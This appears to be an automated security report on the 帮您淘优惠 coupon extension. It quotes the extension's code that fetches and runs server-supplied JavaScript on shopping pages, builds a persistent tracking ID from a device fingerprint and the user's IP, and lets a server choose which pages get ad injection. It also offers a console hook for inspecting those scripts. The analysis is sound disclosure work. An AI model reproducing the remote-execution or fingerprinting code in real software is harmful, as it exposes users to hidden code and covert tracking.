Is 帮您淘优惠 safe?
帮您淘优惠 is critical risk. 帮您淘优惠 POSTs to xapi.bntyh.com/fddqa on matching pages. The response can include JS code strings, run in a sandboxed acorn+Babel interpreter. A captured request returned three scripts (7,226/6,209/7,231 chars); a POST confirmed execution.…
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Server Delivers JavaScript Executed on Every Matched Page
帮您淘优惠 POSTs to xapi.bntyh.com/fddqa on matching pages.
The response can include JS code strings, run in a sandboxed acorn+Babel interpreter.
A captured request returned three scripts (7,226/6,209/7,231 chars); a POST confirmed execution.
You visit a page that matches the server's injection scope list.
The extension POSTs to xapi.bntyh.com/fddqa and receives JavaScript code strings, which its sandboxed interpreter executes with access to the page's window object.
Our dynamic analysis confirmed this: the server returned three script payloads totalling over 20,000 characters, and a subsequent beacon to duommai.com confirmed the interpreter ran.
{
"uuid": "a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122",
"bid": 8,
"ver": "3.0.3",
"eid": "jd_coupon_01",
"data": {
"content2": "2026-04-14T14:00:00.000Z"
}
}The sandboxed interpreter setup and execution path in the extension source:
// evalCore is loaded from js/umd.js — an acorn+Babel-based JS interpreter
const { evalModule, getEvalInstance } = evalCore;
const Interpreter = evalModule.Interpreter;
// Give the interpreter access to the page's window object
Interpreter.global = window;
new Interpreter(); // bootstrap
// window.evil is now a callable that evaluates strings as JS
window.evil = getEvalInstance(window);// For each content block returned by /fddqa:
if (contentBlock.script) {
// Inject the HTML template into the target DOM element first
$(targetElement)[contentBlock.append_type](renderedTemplate);
if (contentBlock.style) {
$(targetElement)[contentBlock.append_type](contentBlock.style);
}
// Execute the server-supplied JavaScript via the sandboxed interpreter
evil(contentBlock.script);
break;
}Scripts are cached locally after the first fetch, then re-executed on later visits without re-fetching, so old code persists.
chrome.storage.local key 'ad_{eid}_content{N}'{
"aid": "jd_coupon_01",
"dom": "#BANGNITAO_AD|.jd-promo-container",
"script": "window.BANGNITAO_ad_loaded=true; /* 7226 chars */",
"template": "<div class='yhc-coupon'>...</div>",
"append_type": "after"
}Intercepts the sandboxed interpreter call in 帮您淘优惠 and logs the server-supplied JavaScript strings to the DevTools console before they execute. Run this in the DevTools console on any JD.com product page after the extension has loaded.
// bangnintao-script-capture.js
// Intercepts the sandboxed interpreter function in the BANGNINTAO content
// script and logs each server-supplied script string before execution.
//
// Usage: paste into Chrome DevTools console on a JD.com product page
// after 帮您淘优惠 has loaded. Navigate to a product page and watch
// the console for [BANGNINTAO_INTERP] entries.
(function() {
// The interpreter function is set on window by the extension's content script (js/utils.js)
// We need to wait for the extension to initialize it first.
function hookInterp() {
if (typeof window.evil !== 'function') {
setTimeout(hookInterp, 100);
return;
}
const originalInterp = window.evil;
window.evil = function(script) {
console.group('[BANGNINTAO_INTERP] Server-supplied script intercepted');
console.log('Script length:', script.length, 'chars');
console.log('Script contents:', script);
console.groupEnd();
// Call the original to allow normal execution (remove this line to block)
return originalInterp(script);
};
console.log('[BANGNINTAO_INTERP] Hook installed. Navigate to a JD.com product page.');
}
hookInterp();
})();- 1Install 帮您淘优惠.
- 2Open DevTools (F12) on a JD.com page (e.g. https://item.jd.com/).
- 3Paste this script into Console, press Enter.
- 4Reload the page.
- 5Watch console for [BANGNINTAO_INTERP] entries with script content/length.
Server Controls Which Pages Receive Ad Injection
帮您淘优惠 sends your UUID and version to xapi.bntyh.com/version and gets a list of websites/paths for ad content, cached and re-fetched.
A captured POST (15,448 bytes) returned 7+ domains, checked against every visited page, no integrity check.
You navigate to any web page.
The extension tests your URL against a domain/path list fetched from xapi.bntyh.com/version. On a match, it requests and injects ad content from the same server.
The matching list is entirely server-controlled; the server can add or remove any domain or path without an extension update.
{
"uuid": "a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122",
"t": 1744640329844,
"pver": "3.0.3",
"area": "CN",
"ip": "114.87.42.191"
}The getServerUrls() function that fetches and stores the injection scope list:
// getServerUrls() — fetches injection scope from server
async function getServerUrls() {
const cachedUrls = await getStorage('urls'); // existing config if any
let uuid = await getStorage('uuid');
if (!uuid) uuid = await yhc_get_uuid(); // generate if missing
const payload = {};
if (cachedUrls) {
// send back server's own values to identify the user's region/IP
payload.pver = cachedUrls.version;
payload.area = cachedUrls.area;
payload.ip = cachedUrls.ip;
}
payload.uuid = uuid;
payload.t = getTime(); // current timestamp
// POST to /version — no signature, no integrity check
const response = await httpSync({ url: '/version', type: 'post', data: payload });
// Cache the response's injection scope list directly
await setStorage({ urls: response.data });
return response.data;
}How the content script uses the server list to select pages for injection:
// In contentScript.js — runs on every page navigation
const config = await getStorage('urls'); // server-supplied scope list
const urlList = config.urls; // domain → [{ path, eid, pid }]
const domainList = config.domain_list; // additional platform hints
if (domainList) getEcommercePlatform({ hosts: domainList });
const currentPath = window.location.href.replace(window.location.origin, '');
for (const domain of Object.keys(urlList)) {
if (window.location.origin.includes(domain)) {
for (const entry of urlList[domain]) {
// Convert glob-style path to regex
let pattern = entry.path.replace(/\*$/, '\\S+').replace(/\/$/,'').replace(/\*/g,'[^\\s/]+');
if (new RegExp(pattern, 'gi').test(currentPath)) {
shouldInject = true;
eid = entry.eid; // ad campaign ID
pid = entry.pid; // publisher ID
break;
}
}
}
}- xapi.bntyh.com
Receives UUID + version info via POST /version; returns the domain/path injection scope list and refresh interval.
Device Fingerprint + IP Fused into Persistent Tracking ID
On first install, 帮您淘优惠 fetches your IP and runs Fingerprint2 to collect device data, hashed into a UUID.
Dynamic analysis captured the api.yhchj.com/ip GET, then the UUID in POSTs to xapi.bntyh.com and beacons to sr.anhuiry.com/sp.gif.
You install 帮您淘优惠 for the first time.
The extension fetches your external IP, collects browser fingerprint attributes, combines them into a 128-bit hash, and stores it permanently as your unique ID.
This UUID is then included in every subsequent request to the extension's servers for the lifetime of the install.
| Field | Value | Why it matters | |
|---|---|---|---|
Browser and OS attributes | canvas: data:image/png;base64,iVBORw0KGgo... | Canvas rendering, WebGL renderer, screen resolution, timezone, language, and plugins that together uniquely identify your device. | |
Your external IP address | 114.87.42.191 | Fetched from api.yhchj.com/ip before hashing. Ties the fingerprint to a geographic location and ISP. | |
Install timestamp | 1744640329122 | The millisecond timestamp at the moment the UUID is first created. Appended after the hash to produce the final UUID string. |
The UUID is written here on first install and read on every subsequent request. It persists indefinitely unless you uninstall the extension.
chrome.storage.local key 'uuid'a3f8c921e47b10d2f958c0e3a17b4d89.1744640329122
The UUID generation code from background.js (shipping source vs annotated reading):
// yhc_get_uuid() — runs once on first install if no UUID stored yet
const installTimestamp = Math.round(new Date()); // milliseconds
// Wait for browser idle, then fetch IP and fingerprint
requestIdleCallback(() => {
// Step 1: fetch external IP
httpSync({ url: '/ip', baseUrl: 'https://api.yhchj.com' })
.then(ipResponse => {
// Step 2: collect browser fingerprint attributes
Fingerprint2.get(
{ excludes: { enumerateDevices: true, fontsFlash: true, deviceMemory: true } },
(components) => {
// Step 3: append IP to the fingerprint array
components.push({ key: 'ip', value: ipResponse.data });
const values = components.map(c => c.value);
// Step 4: hash everything into a 128-bit fingerprint
const hash = Fingerprint2.x64hash128(values.join(''), 31);
const uuid = hash + '.' + installTimestamp;
// Step 5: persist permanently
setStorage({ uuid: uuid });
resolve(uuid);
}
);
});
}, { timeout: 500 });- api.yhchj.com
IP address lookup, supplies the IP component used in UUID construction.
- xapi.bntyh.com
Primary backend for 帮您淘优惠, receives the UUID in POST bodies for /version and /fddqa endpoints on every page load.
- sr.anhuiry.com
Analytics pixel beacon, receives the UUID as a query parameter in GET requests to /sp.gif.